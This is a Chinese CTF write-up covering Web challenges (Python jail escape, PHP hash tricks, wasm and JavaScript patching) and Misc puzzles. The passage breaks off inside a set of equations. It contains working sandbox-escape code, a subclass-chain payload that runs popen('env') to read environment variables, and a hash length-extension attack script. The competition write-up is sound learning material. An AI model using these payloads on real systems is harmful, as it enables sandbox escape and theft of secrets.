Web

菜鸟工具2

如何实现python读内存 1./proc/*/fd/* chroot逃逸 2.利用python实现读取内存 依靠 python 解析自身进程的内存

法一

ctypes 是 Python 的一个标准库模块,它提供了 C 兼容的数据类型,并允许调用共享库中的函数 处理指针ctypes 允许你在 Python 中操作指针,包括创建、读取和修改指针的值 参考链接: L3HCTF Just a pyjail

大致思路:

  1. 源码被删除,但程序运行了,内存里肯定是有源码的。
  2. 没有 /proc目录,不能通过读文件的方式读内存(参考session伪造利用文件任意读取读取key)
  3. 可以利用指针,把内存的内容读出来,但需要定位一个大致的范围,盲目读取浪费时间

先利用栈帧逃逸到全局,后续需要用到全局的flag的地址。

接着是利用 ctypes模块的指针,将flag地址周围的值读一下,实现一个从内存读源码的操作。

这里我用了char 指针,读出来的是一个字符串,再加上flag头作为判断,可以很快读出flag。

每次位移8的倍数。(可以自行对比任意两个变量的地址,可以发现它们的差值都是8的倍数)

def f():  
    yield g.gi_frame.f_back.f_back  
  
g = f()  
frame = [x for x in g][0]  
b = frame.f_back.f_globals  
flag_id=id(b['flag'])  
ctypes = b["__builtins__"].__import__('ctypes')  
#print(ctypes)  
  
for i in range(10000):  
	txt = ctypes.cast((flag_id-8*i),ctypes.c_char_p).value  
	if b"flag{" in txt:  
		print(txt)  
		break
  1. 定义生成器函数f:
def f():      
	yield g.gi_frame.f_back.f_back

这个生成器函数f的目的是生成当前调用栈中比它早两个栈帧的引用。g.gi_frame是生成器对象g的帧对象,f_back属性指向调用它的栈帧。因此,g.gi_frame.f_back.f_back将指向比f调用者更早的栈帧。

  1. 创建生成器对象g:
g = f()

这行代码创建了一个生成器对象g

  1. 获取特定栈帧:
frame = [x for x in g][0]

这里通过遍历生成器g来获取它的第一个(也是唯一的)元素,即那个特定的栈帧。

  1. 获取全局变量字典:
b = frame.f_back.f_globals

b`是一个字典,它包含了当前栈帧的全局变量。

  1. 获取flag变量的内存地址:
flag_id = id(b['flag'])

使用Python的内置id()函数获取flag变量的内存地址。

  1. 导入ctypes模块:
ctypes = b["__builtins__"].__import__('ctypes')

这行代码使用__builtins__字典和__import__函数来动态地导入ctypes模块。

  1. 遍历内存并尝试读取flag的值:
for i in range(10000):  
	txt = ctypes.cast((flag_id-8*i),ctypes.c_char_p).value  
	if b"flag{" in txt:  
		print(txt)  
		break

这里使用一个循环来遍历内存,尝试读取flag的值。循环中的i用于遍历以flag_id为中心、每次递减8个字节的内存地址。ctypes.cast用于将内存地址转换为字符指针,然后读取该地址处的字符串。如果读取的字符串中包含"flag{",则假设找到了flag的值,并打印出来。

法二

菜狗工具#2

这题出题人下了狠手想限死解题方式但学艺不精还是给非预期了

首先题目环境在 chroot jail 中,没有 /proc 目录,源文件在 python 把服务跑起来后就删除了,而要获

得被覆写的 flag 内容只剩一个地方可以找,就是依靠 python 解析自身进程的内存

cpython 的实现中暴露了获取 python 栈帧的方法,而每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧,而对 flag 的赋值的字节码肯定存在于某个栈帧中,我们只需要从当前栈帧向上找就行了

sys = print.__globals__["__builtins__"].__import__('sys')

io = print.__globals__["__builtins__"].__import__('io')

dis = print.__globals__["__builtins__"].__import__('dis')

threading = print.__globals__["__builtins__"].__import__('threading')

print(threading.enumerate())

print(threading.main_thread())

print(sys._current_frames()[threading.main_thread().ident])

frame = sys._current_frames()[threading.main_thread().ident]

while frame is not None:

	out = io.StringIO()

	dis.dis(frame.f_code, file=out)

	content = out.getvalue()

	out.close()

	print(content)

	frame = frame.f_back

image.png

需要注意的是,flask 使用了多线程去处理每个请求,这导致直接在当前线程的栈帧向上找会找不到主线 程的 flag,需要从主线程栈帧向上找

菜鸟工具1

找到wrap_close模块 找到形同内建函数 相当于可以自动导入函数

print(().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__["popen"]('env').read())

ezPHP

<?php  
include "flag.php";  
highlight_file(__FILE__);  
error_reporting(0);  
  
$a = 'O.U.C';  
  
$query = $_SERVER['QUERY_STRING'];  
parse_str($query);  
if (preg_match('/_|%5f|\.|%2E/i',$query)){  
    die('听说你是黑客');  
}  
  
echo '你知道b等于什么能绕过这个弱类型吗(〃` 3′〃)'.'<br>';  
if (md5($a)**md5($_GET['b'])&&$a!=$_GET['b']){  
    echo "哎呦,不错喔".'<br>';    
    $O_U_C=$_GET['O_U_C'];  
    if (!is_array($O_U_C)&&$O_U_C!**'100'&&preg_match('/^100$/',$O_U_C)){  
        echo 'but'.'如果我寄出**=阁下又该如何应对๑乛◡乛๑'.'<br>';  
        if (md5($_POST['md51'])**=md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52']){  
            echo '好,那么好'.'<br>';  
            if ($_COOKIE["md5"]**=md5($secret.urldecode($_GET['md5']))){  
                echo '还是被你解出来了'.' ྀི ྀིɞ ྀི ིྀ ིྀ'.$flag;  
            }else{  
                echo '告诉你secret的md5值也无妨,反正哈希是不可逆的๑乛◡乛๑,除非你能箨斩攻击我'.md5($secret.'ouc').'<br>';  
            }  
        }else{  
            echo '不过如此';  
        }  
    }else{  
        die("不行嘛(´ェ`)");  
    }  
}else{  
    echo '嗨害嗨  (๑ᵒ̴̶̷͈᷄ᗨᵒ̴̶̷͈᷅)';  
}

爆破密钥的长度

import requests

import time

import sys

import urllib.parse

from loguru import logger

from common.HashExtAttack import HashExtAttack

hash_ext_attack = HashExtAttack()

logger.remove()

logger.add(sys.stderr, level="INFO")

initial_url = 'http://6b68070d-8ba0-48d3-a92d-4bc8e92766d1.competition.blue-whale.me:20001/ezPHP.php?a=QNKCDZO&b=s878926199a&O U C=100%0A&md5='

for  i in range(1, 100):

        new_text_part, new_hash = hash_ext_attack.run('ouc', '06d92f344c7d8c89cb164353ca0fa070', '', i)

        quote = urllib.parse.quote(new_text_part, safe='&=')

        #new_text_part2, new_hash2 = hash_ext_attack.run('', '28aefeaefd98fd5a4b25cc913cd06484', str(int(time.time())+3), i)

        url = f"{initial_url}{quote}"

        data={"md51[]":"321","md52[]":"123"}

        header={"Cookie":f"md5={new_hash}"}

        response = requests.post(url,data=data,headers=header)

        #print(f"Time:+{int(time.time())}")

        #text = response.text

        #print(f"Response: {text}")

        if "flag{" in response.text:

            print(f"found Flag: {response.text}")

            break

贪吃蛇

WebAssembly(wasm)是基于堆栈的虚拟机的二进制指令格式。wasm被设计为可编程C / C ++ / Rust等高级语言的可移植目标,可在Web上部署客户端和服务器应用程序

法一

Cetus(针对 WebAssembly 应用的作弊器) 操作类似CE(牛逼) image.png

法二 RE?

wasm逆向和debug 修改代码逻辑

参考链接: WebAssembly

在线网站:wat2wasm demo

先debug,找一个吃到道具能进入debug的断点,然后一直往下找,可以看到 114514 的赋值过程

我这里是把断点打在 call $wbg.__wbg_crypto_d05b68a3572bb8ca

一直往下追,可以看到 114514 的转换代码。

修改这部分代码,然后通过在线工具把它再转回 wasm ,之后再用新的 wasm debug

这里我把 $var16 改成 0

loop $label8  
local.get $var16  
i64.const 0  
i64.add  
local.set $var16  
local.get $var1  
i32.const 4  
i32.add  
local.set $var1  
local.get $var3  
i32.const 1  
i32.sub  
local.tee $var3  
br_if $label8  
end $label8

编译得到wasm,回到本地调试,先在本地用python起一个http服务

python -m http.server -b localhost

接着访问 localhost:8000 即可得到flag

爆率真的高

在线网站:JavaScript Deobfuscator

通过在线网站反混淆可以得到比较简洁的源码

function _0x36f7d7() {  
  var _0x2b390b = function () {  
      var _0xc52e83 = true;  
      return function (_0x25d063, _0x14b0af) {  
        var _0x435e43 = _0xc52e83 ? function () {  
          if (_0x14b0af) {  
            var _0x278c9e = _0x14b0af['apply'](_0x25d063, arguments);  
            return _0x14b0af = null, _0x278c9e;  
          }  
        } : function () {};  
        return _0xc52e83 = false, _0x435e43;  
      };  
    }(),  
    _0x12600c = _0x2b390b(this, function () {  
      return _0x12600c['toString']()['search']('(((.+)+)+)+$')['toString']()['constructor'](_0x12600c)['search']('(((.+)+)+)+$');  
    });  
  return _0x12600c(), 'line-height:200px; padding-block:100px; padding-left:200px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 200 200\'%3E%3Cstyle%3E .wrapper %7B font-family: sans-serif; perspective: 500px; text-align: center; position: relative; width: 100%25; height: 100%25; %7D .cube %7B position: absolute; top: 20%25; left: 30%25; transform-style: preserve-3d; transform: rotateY(40deg) rotateX(-40deg); animation: wiggle_wiggle_wiggle_wiggle_wiggle_yeah 3s ease-in-out infinite alternate; %7D .side %7B width: 8rem; height: 8rem; background: rgba(0, 0, 0, 0.8); display: inline-block; position: absolute; line-height: 8rem; color: %23fff; text-align: center; box-sizing: border-box; border: 3px solid %23f00; font-size: 4rem; %7D .front %7B transform: translateZ(4rem); z-index: 1; %7D .back %7B transform: rotateY(180deg) translateZ(4rem); %7D .left %7B transform: rotateY(-90deg) translateZ(4rem); z-index: 1; %7D .right %7B transform: rotateY(90deg) translateZ(4rem); %7D .top %7B transform: rotateX(90deg) translateZ(4rem); %7D .bottom %7B transform: rotateX(-90deg) translateZ(4rem); %7D @keyframes wiggle_wiggle_wiggle_wiggle_wiggle_yeah %7B 0%25 %7B transform: rotateY({a}deg) rotateX(-{a}deg); %7D 100%25 %7B transform: rotateY({b}deg) rotateX(-{b}deg); %7D %7D %3C/style%3E%3CforeignObject width=\'100%25\' height=\'100%25\'%3E%3Cdiv xmlns=\'http://www.w3.org/1999/xhtml\' class=\'wrapper\'%3E%3Cdiv class=\'cube\'%3E%3Cdiv class=\'side front\'%3E1%3C/div%3E%3Cdiv class=\'side back\'%3E2%3C/div%3E%3Cdiv class=\'side left\'%3E3%3C/div%3E%3Cdiv class=\'side right\'%3E4%3C/div%3E%3Cdiv class=\'side top\'%3E5%3C/div%3E%3Cdiv class=\'side bottom\'%3E6%3C/div%3E%3C/div%3E%3C/div%3E%3C/foreignObject%3E%3C/svg%3E")||line-height:50px; padding-left:500px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\'%3E %3Cpath id=\'path1394\' style=\'fill:none%3Bstroke:%23000000%3Bstroke-width:0.264583px%3Bstroke-linecap:butt%3Bstroke-linejoin:miter%3Bstroke-opacity:1\' d=\'m 221.50185,6.5147602 3.99292,2.94215 0.4203,14.0802888 3.78277,2.521842 -3.78277,2.731996 -0.21015,14.500595 -3.99292,2.942151 m -75.76812,-32.68897 -0.18289,26.152093 4.20628,-0.18288 0.18289,-0.365766 m 39.51762,-10.582347 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 17.49855,11.609045 -0.18288,-12.070196 2.56034,-3.840517 6.76663,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 M 79.249122,29.337219 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 106.868818,-7.460739 -10.0585,0.731527 -3.10899,7.315272 0.73153,5.852215 2.74322,3.108989 8.77833,0.182883 0.73152,-0.182883 m -29.84386,-8.105803 8.77833,-0.365762 2.0117,-2.743227 -2.37747,-3.291872 h -8.9612 l -2.19458,4.0234 0.18288,7.863914 3.29187,2.560347 8.0468,-0.365766 m -36.86029,-9.455308 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m -5.20252,-3.51165 -7.58959,-0.182882 -2.28602,3.931959 V 32.0765 l 8.86976,0.182882 1.5545,1.554493 -0.27433,4.206283 -1.46305,2.377461 -8.32112,0.09144 h 0.4572 m -17.006391,0.457205 -0.18288,-12.070196 2.56034,-3.840517 6.766631,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 m -32.373283,-17.720279 -10.058498,0.731527 -3.108989,7.315272 0.731526,5.852215 2.743226,3.108989 8.778325,0.182883 0.731528,-0.182883 m -15.544951,1.645936 0.731528,0.365766 -4.0234,-2.926109 L 56.87623,24.689039 53.401478,22.128694 57.607759,18.836823 57.241995,6.5837438 59.985222,3.4747537 m -17.008004,34.0160083 8.961204,-0.18288 v 0 m -8.961204,0.18288 -0.182883,-10.058495 9.144087,-0.182883 v 22.860222 h -8.961204 l 0.548645,-0.365765 H 43.34298 m -15.54495,-27.98091 5.852215,-0.182882 0.182883,16.276478 m -0.365763,-10.790025 -7.13239,0.182882 V 38.22229 l 12.43596,-0.365763 V 37.490762 M 19.202586,12.43596 l -0.182882,26.152093 4.206281,-0.18288 0.182882,-0.365766 M 14.996305,12.618842 H 10.241379 L 10.058498,38.039407 5.8522165,37.856527 M 3.8405173,22.67734 15.910714,22.494458\' %2F%3E %3C%2Fsvg%3E")||console.log||console.clear||Math.random||Math.floor||setTimeout';  
}  
var _0x4d032d = eval(_0x36f7d7()['split']('||')[2]),  
  _0x4d3fb4 = eval(_0x36f7d7()['split']('||')[3]),  
  _0x280bbf = eval(_0x36f7d7()['split']('||')[4]),  
  _0x3ede16 = eval(_0x36f7d7()['split']('||')[5]),  
  _0x13a155 = eval(_0x36f7d7()['split']('||')[6]);  
(function (_0x5da15b) {  
  return _0x5da15b(_0x5da15b);  
})(function (_0xc4be8d) {  
  return function (_0x3a3176) {  
    for (var _0x7936d0 = 0; _0x7936d0 < 100; _0x7936d0++) {  
      var _0x38d961 = false,  
        _0x48b8aa = _0x36f7d7()['split']('||')[0],  
        _0x48a4aa = 60 * _0x7936d0 / 100,  
        _0x54870d = 60 - 60 * _0x7936d0 / 100;  
      _0x280bbf() >= 0.9999 && (_0x48b8aa = _0x36f7d7()['split']('||')[1], _0x38d961 = true);  
      _0x4d032d('%c ', _0x48b8aa['replace'](/\{a\}/gm, _0x48a4aa + '')['replace'](/\{b\}/gm, _0x54870d + ''));  
      if (_0x38d961) _0x4d3fb4();  
    }  
    _0x13a155(function () {  
      _0xc4be8d(_0xc4be8d)();  
    }, 500), _0x13a155(_0x4d3fb4, 450);  
  };  
})();

通过分析,可以知道当 Math.random>= 0.9999 时,会输出flag,手动调整一下代码,即可得到flag。

var _0x36f7d7 = 'line-height:200px; padding-block:100px; padding-left:200px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 200 200\'%3E%3Cstyle%3E .wrapper %7B font-family: sans-serif; perspective: 500px; text-align: center; position: relative; width: 100%25; height: 100%25; %7D .cube %7B position: absolute; top: 20%25; left: 30%25; transform-style: preserve-3d; transform: rotateY(40deg) rotateX(-40deg); animation: wiggle_wiggle_wiggle_wiggle_wiggle_yeah 3s ease-in-out infinite alternate; %7D .side %7B width: 8rem; height: 8rem; background: rgba(0, 0, 0, 0.8); display: inline-block; position: absolute; line-height: 8rem; color: %23fff; text-align: center; box-sizing: border-box; border: 3px solid %23f00; font-size: 4rem; %7D .front %7B transform: translateZ(4rem); z-index: 1; %7D .back %7B transform: rotateY(180deg) translateZ(4rem); %7D .left %7B transform: rotateY(-90deg) translateZ(4rem); z-index: 1; %7D .right %7B transform: rotateY(90deg) translateZ(4rem); %7D .top %7B transform: rotateX(90deg) translateZ(4rem); %7D .bottom %7B transform: rotateX(-90deg) translateZ(4rem); %7D @keyframes wiggle_wiggle_wiggle_wiggle_wiggle_yeah %7B 0%25 %7B transform: rotateY({a}deg) rotateX(-{a}deg); %7D 100%25 %7B transform: rotateY({b}deg) rotateX(-{b}deg); %7D %7D %3C/style%3E%3CforeignObject width=\'100%25\' height=\'100%25\'%3E%3Cdiv xmlns=\'http://www.w3.org/1999/xhtml\' class=\'wrapper\'%3E%3Cdiv class=\'cube\'%3E%3Cdiv class=\'side front\'%3E1%3C/div%3E%3Cdiv class=\'side back\'%3E2%3C/div%3E%3Cdiv class=\'side left\'%3E3%3C/div%3E%3Cdiv class=\'side right\'%3E4%3C/div%3E%3Cdiv class=\'side top\'%3E5%3C/div%3E%3Cdiv class=\'side bottom\'%3E6%3C/div%3E%3C/div%3E%3C/div%3E%3C/foreignObject%3E%3C/svg%3E")||line-height:50px; padding-left:500px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\'%3E %3Cpath id=\'path1394\' style=\'fill:none%3Bstroke:%23000000%3Bstroke-width:0.264583px%3Bstroke-linecap:butt%3Bstroke-linejoin:miter%3Bstroke-opacity:1\' d=\'m 221.50185,6.5147602 3.99292,2.94215 0.4203,14.0802888 3.78277,2.521842 -3.78277,2.731996 -0.21015,14.500595 -3.99292,2.942151 m -75.76812,-32.68897 -0.18289,26.152093 4.20628,-0.18288 0.18289,-0.365766 m 39.51762,-10.582347 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 17.49855,11.609045 -0.18288,-12.070196 2.56034,-3.840517 6.76663,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 M 79.249122,29.337219 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 106.868818,-7.460739 -10.0585,0.731527 -3.10899,7.315272 0.73153,5.852215 2.74322,3.108989 8.77833,0.182883 0.73152,-0.182883 m -29.84386,-8.105803 8.77833,-0.365762 2.0117,-2.743227 -2.37747,-3.291872 h -8.9612 l -2.19458,4.0234 0.18288,7.863914 3.29187,2.560347 8.0468,-0.365766 m -36.86029,-9.455308 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m -5.20252,-3.51165 -7.58959,-0.182882 -2.28602,3.931959 V 32.0765 l 8.86976,0.182882 1.5545,1.554493 -0.27433,4.206283 -1.46305,2.377461 -8.32112,0.09144 h 0.4572 m -17.006391,0.457205 -0.18288,-12.070196 2.56034,-3.840517 6.766631,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 m -32.373283,-17.720279 -10.058498,0.731527 -3.108989,7.315272 0.731526,5.852215 2.743226,3.108989 8.778325,0.182883 0.731528,-0.182883 m -15.544951,1.645936 0.731528,0.365766 -4.0234,-2.926109 L 56.87623,24.689039 53.401478,22.128694 57.607759,18.836823 57.241995,6.5837438 59.985222,3.4747537 m -17.008004,34.0160083 8.961204,-0.18288 v 0 m -8.961204,0.18288 -0.182883,-10.058495 9.144087,-0.182883 v 22.860222 h -8.961204 l 0.548645,-0.365765 H 43.34298 m -15.54495,-27.98091 5.852215,-0.182882 0.182883,16.276478 m -0.365763,-10.790025 -7.13239,0.182882 V 38.22229 l 12.43596,-0.365763 V 37.490762 M 19.202586,12.43596 l -0.182882,26.152093 4.206281,-0.18288 0.182882,-0.365766 M 14.996305,12.618842 H 10.241379 L 10.058498,38.039407 5.8522165,37.856527 M 3.8405173,22.67734 15.910714,22.494458\' %2F%3E %3C%2Fsvg%3E")||console.log||console.clear||Math.random||Math.floor||setTimeout';  
  
  
var _0x38d961 = false,  
_0x48b8aa = _0x36f7d7['split']('||')[1],  
_0x48a4aa = 60 * 0 / 100,  
_0x54870d = 60 - 60 * 0 / 100;  
//console.log(_0x48b8aa);  
console.log('%c ', _0x48b8aa['replace'](/\{a\}/gm, _0x48a4aa + '')['replace'](/\{b\}/gm, _0x54870d + ''));  
  
  
// flag{consolecon}

出题人题解 这题出题人真不是想用混淆逆向来恶心人的,要真这么干已经混淆到妈都不认得了(bushi) 这题主要想考察的是在现代前端框架化组件化、打包工具的发展的情形下,阅读前端代码已经越来越困 难,此时需要有的黑盒思维。JS runtime 里的 API 不像 python 一样可以通过 hack 字节码之类的绕过, 它就在那,对复杂恶心的代码可以通过观察其与 API 的交互,来控制其行为 在控制台输出或者清除内容时,点击右侧的来源,可以追进此时的 js 执行上下文,在此处打断点,可以 发现周遭的变量的 name 属性好像都有点东西 image.png 打断点后查看变量名 其中,一个叫 log,标黄的叫 random,下面还有个 clear。而浏览器控制控制台输出的 API 就只有

console.xxx,结合题目不难想到 random 也来自 Math 模块。此时我们只要给网页保存下来,全给它一开始就换掉就行了 这两行代码分别重写了JavaScript中Math.randomconsole.clear方法的默认行为 image.png image.png

Misc

一眼盯帧

https://web.baimiaoapp.com/ http://www.esjson.com/delSpace.html 每帧分离 ffmpeg -ss 10 -i input.mp4 -t 5 output_%03d.png 删除无关文件 关键文件大小在75kb-95kb之间

import os  

from PIL import Image  

# 设定图片大小的范围(以字节为单位)  

min_size = 75 * 1024  # 75KB  

max_size = 95 * 1024  # 95KB  

# 遍历当前目录下的所有.png文件  

for filename in os.listdir('.'):  

    if filename.endswith('.png'):  

        # 打开图片文件并获取其大小  

        file_path = os.path.join('.', filename)  

        img = Image.open(file_path)  

        img.load()  # 确保图片数据已加载  

        file_size = os.path.getsize(file_path)  

        # 检查图片大小是否在指定范围内  

        if min_size <= file_size <= max_size:  

            print(f"保留图片: {filename}, 大小: {file_size} bytes")  

            # 可以选择将图片移动到另一个目录,或者进行其他处理  

        else:  

            print(f"删除图片: {filename}, 大小: {file_size} bytes")  

            # 删除不符合要求的图片  

            os.remove(file_path)

利用Python Numpy处理线性方程 解系数

import numpy as np

import re

  

# 这是提供的带有方程的字符串

text = """

40*a1 +42*a2 +69*a3 +91*a4 + 91*a5 + 74*a6 + 45*a7 +49*a8 + 99*a9 +41*a10 + 79*a11 + 26*a12 +51*a13+ 74*a14+84*a15 + 31*a16 +74*a17 +11*a18+87*a19 +76*a20 +26*a21 +40*a22 + 13*a23 +31*a24 + 39*a25 + 7*a26 +84*a27 + 65*a28 +25*a29 + 88*a30+13*a31=159700 76*a1+23*a2 +47*a3 +95*a4 +56*a5 + 94*a6 + 9*a7 +89*a8 + 1*a9 +27*a10 + 64*a11 + 54*a12 +77*a13 +57*a14 +11*a15 + 80*a16+61*a17+98*a18 + 14*a19 + 72*a20 + 67*a21 +98*a22 + 66*a23 +26*a24 +11*a25+36*a26 +94*a27 +66*a28 +99*a29 + 64*a30 +40*a31=171444 49*a1 + 38*a2 + 20*a3 +28*a4 +36*a5 + 44*a6 +85*a7 +48*a8 + 74*a9 +73*a10 +27*a11 +99*a12 +21*a13+ 72*a14 + 89*a15 + 3*a16 +3*a17 +72*a18 + 71*a19 + 29*a20 +92*a21 +19*a22 + 42*a23+87*a24 +97*a25 +36*a26 +84*a27 +56*a28 +96*a29 + 40*a30 +82*a31=164206 81*a1 + 88*a2 +41*a3 +98*a4+ 8*a5 + 70*a6 + 19*a7 + 85*a8 + 37*a9 +64*a10 + 24*a11 +96*a12 + 94*a13 + 78*a14 + 81*a15 + 38*a16 + 10*a17 +87*a18 + 75*a19 + 35*a20 + 7*a21 + 98*a22 + 63*a23 + 37*a24 + 4*a25 +40*a26 +13*a27 + 83*a28 + 99*a29 + 61*a30 + 60*a31= 171511 53*a1 + 39*a2 + 10*a3 +36*a4 + 37*a5 + 42*a6 + 69*a7 +66*a8 + 22*a9 +33*a10 + 34*a11 + 4*a12 +77*a13 + 94*a14 +51*a15 + 87*a16+3*a17+ 34*a18 + 44*a19 +17*a20+48*a21 + 31*a22 + 62*a23+15*a24 +59*a25 +39*a26 +42*a27 +48*a28 +63*a29 + 44*a30 +84*a31= 131705 95*a1 + 37*a2 +70*a3 +10*a4+ 72*a5 + 37*a6 +26*a7 +11*a8 + 89*a9 +36*a10 + 80*a11 + 81*a12 + 13*a13 + 84*a14 +79*a15 + 69*a16 + 15*a17 + 53*a18+52*a19 +92*a20 +13*a21 +44*a22 + 33*a23 +48*a24 +77*a25 +40*a26 +50*a27 +20*a28 +9*a29 + 69*a30 +44*a31= 149011 58*a1 + 53*a2 +93*a3 + 4*a4 +33*a5 + 76*a6 + 88*a7 +7*a8 + 21*a9+24*a10 +8*a11 +35*a12 +64*a13 +54*a14 +20*a15 + 1*a16+4*a17 +42*a18 + 29*a19 + 96*a20 + 40*a21 +22*a22 + 39*a23 + 47*a24 + 4*a25 +42*a26 + 31*a27 + 69*a28 + 39*a29 + 6*a30 +50*a31=114939 89*a1 + 73*a2 +43*a3 + 41*a4 + 28*a5 + 19*a6 + 83*a7 + 32*a8 + 65*a9 +37*a10 +22*a11 +22*a12 +42*a13 +74*a14 + 43*a15 + 72*a16+4*a17 +94*a18 + 66*a19 + 60*a20 + 63*a21 +91*a22 + 69*a23 + 7*a24 + 39*a25 + 96*a26 + 76*a27 +5*a28 +32*a29 + 57*a30 +22*a31= 147181 76*a1 + 83*a2 + 10*a3 + 31*a4 +18*a5 + 2*a6 + 2*a7 + 65*a8 + 27*a9 + 47*a10 +63*a11 +61*a12 + 77*a13 + 38*a14+22*a15 + 49*a16+4*a17 +2*a18 +63*a19 +24*a20 +16*a21 + 36*a22 + 48*a23 + 50*a24 +40*a25 + 78*a26 + 19*a27 + 95*a28 +73*a29 + 47*a30 +56*a31 = 128931 93*a1 + 3*a2 +86*a3 + 90*a4 + 97*a5 +11*a6 + 66*a7 +69*a8 + 96*a9 +62*a10 +40*a11 +58*a12 +25*a13+64*a14 + 50*a15 + 65*a16+59*a17 + 5*a18 + 7*a19 +55*a20 +92*a21 +29*a22 + 35*a23 +83*a24 +59*a25 + 55*a26 + 51*a27 +62*a28+1*a29 + 64*a30 +12*a31=159474 60*a1 +19*a2 +66*a3 +62*a4 + 42*a5 + 86*a6 + 61*a7 +63*a8 + 56*a9 +2*a10 +46*a11 +7*a12 + 7*a13 +2*a14 + 16*a15 + 97*a16 +12*a17 + 28*a18 + 11*a19 +92*a20 + 26*a21 +64*a22 + 63*a23 +62*a24 +45*a25+56*a26 +50*a27 +97*a28 +62*a29 + 71*a30 + 65*a31 = 146558 6*a1 + 78*a2 +51*a3 +74*a4+1*a5 + 25*a6 + 41*a7 +99*a8 + 52*a9+74*a10 +30*a11 + 97*a12 +63*a13 +2*a14 +25*a15 + 76*a16 + 56*a17 + 35*a18 +28*a19 + 34*a20 + 40*a21 +18*a22 + 65*a23 + 67*a24 + 43*a25 + 78*a26 +6*a27 +54*a28 +38*a29 + 45*a30+81*a31=146290 58*a1 + 47*a2 +72*a3 +43*a4 + 99*a5 + 36*a6 + 89*a7 +31*a8 + 61*a9 + 66*a10 +59*a11 +74*a12 +32*a13 +2*a14 +39*a15 + 73*a16 +86*a17 + 63*a18 + 18*a19 +92*a20 + 44*a21 +67*a22 + 37*a23 +66*a24 +25*a25 + 32*a26 +59*a27 +31*a28+11*a29 + 41*a30 + 65*a31 = 157439 79*a1+18*a2+22*a3+73*a4+ 21*a5 + 76*a6 + 5*a7 +27*a8 + 36*a9 +22*a10 + 90*a11 +23*a12 +20*a13 +88*a14 +77*a15 + 18*a16 + 10*a17 +14*a18 + 80*a19 + 1*a20 + 96*a21 +97*a22 + 41*a23 +90*a24 +53*a25 + 20*a26 +41*a27 +2*a28 +87*a29 + 8*a30 +40*a31=127198 11*a1 + 79*a2 + 17*a3 + 68*a4+ 26*a5 + 38*a6 +23*a7 +78*a8 + 82*a9 +71*a10 +46*a11 +18*a12 +20*a13 +19*a14 +89*a15 + 86*a16 +20*a17 +54*a18 +47*a19 +15*a20+62*a21 +49*a22 + 97*a23 + 75*a24 +17*a25+76*a26 +52*a27 +62*a28 +65*a29 + 89*a30 + 80*a31 = 158569 79*a1 + 10*a2 +66*a3+31*a4+76*a5 + 58*a6 +45*a7 +64*a8 + 97*a9 +9*a10 + 15*a11 + 6*a12 +61*a13 + 65*a14 +52*a15 + 1*a16 + 38*a17 + 11*a18 + 66*a19 + 21*a20 +30*a21 + 76*a22 + 41*a23 + 75*a24 +52*a25+45*a26 +91*a27 +96*a28 +29*a29 + 64*a30 +59*a31 = 149303 87*a1 +64*a2 +72*a3 +22*a4 + 38*a5 + 64*a6 + 27*a7 +35*a8 + 18*a9 + 24*a10 +64*a11 +80*a12 + 35*a13 + 56*a14 + 39*a15 + 97*a16+83*a17 + 88*a18 + 21*a19 + 51*a20 +76*a21 +63*a22 + 54*a23 +38*a24 +92*a25+56*a26 +84*a27 +75*a28 +38*a29 + 2*a30 + 43*a31=162212 94*a1 +70*a2 +72*a3 +93*a4 +17*a5 +56*a6 + 53*a7 +78*a8 + 72*a9 + 49*a10 +86*a11 +62*a12 + 41*a13 + 85*a14 +69*a15 + 71*a16+20*a17 + 34*a18 + 24*a19 + 24*a20 + 14*a21 +86*a22 + 54*a23 +13*a24 +41*a25 +68*a26 + 31*a27 +50*a28 +23*a29 + 94*a30 +72*a31= 162137 34*a1 + 95*a2 +66*a3 +79*a4 + 91*a5 + 35*a6 + 8*a7 +16*a8 + 95*a9 + 95*a10 + 40*a11 + 68*a12 + 13*a13 + 54*a14+80*a15 + 98*a16 +15*a17 + 39*a18+ 41*a19 + 79*a20 +34*a21 +54*a22 + 92*a23+17*a24 +97*a25 + 76*a26 +49*a27 +95*a28 +6*a29 + 83*a30 +79*a31=180077 74*a1 + 42*a2 +45*a3 +72*a4 +6*a5 + 3*a6 +59*a7 +47*a8 + 57*a9 +62*a10+85*a11 +6*a12 +72*a13+25*a14 +78*a15 + 27*a16 + 6*a17 +27*a18+61*a19 +88*a20 +60*a21+89*a22 + 53*a23 +76*a24 +97*a25 +56*a26 + 52*a27 +26*a28 + 5*a29 + 7*a30 +35*a31=142239 53*a1 + 30*a2 +63*a3 + 88*a4 + 54*a5 + 99*a6 +40*a7 +85*a8 + 42*a9+ 35*a10 +99*a11 +88*a12 +55*a13 + 8*a14 +24*a15 + 91*a16 +55*a17 +23*a18+53*a19 +68*a20+76*a21 +49*a22 + 32*a23 +80*a24 +81*a25+95*a26 +21*a27 +73*a28 +83*a29 + 46*a30 +44*a31=179115 55*a1+43*a2 +39*a3 +27*a4+ 19*a5 + 41*a6 + 7*a7 + 70*a8 + 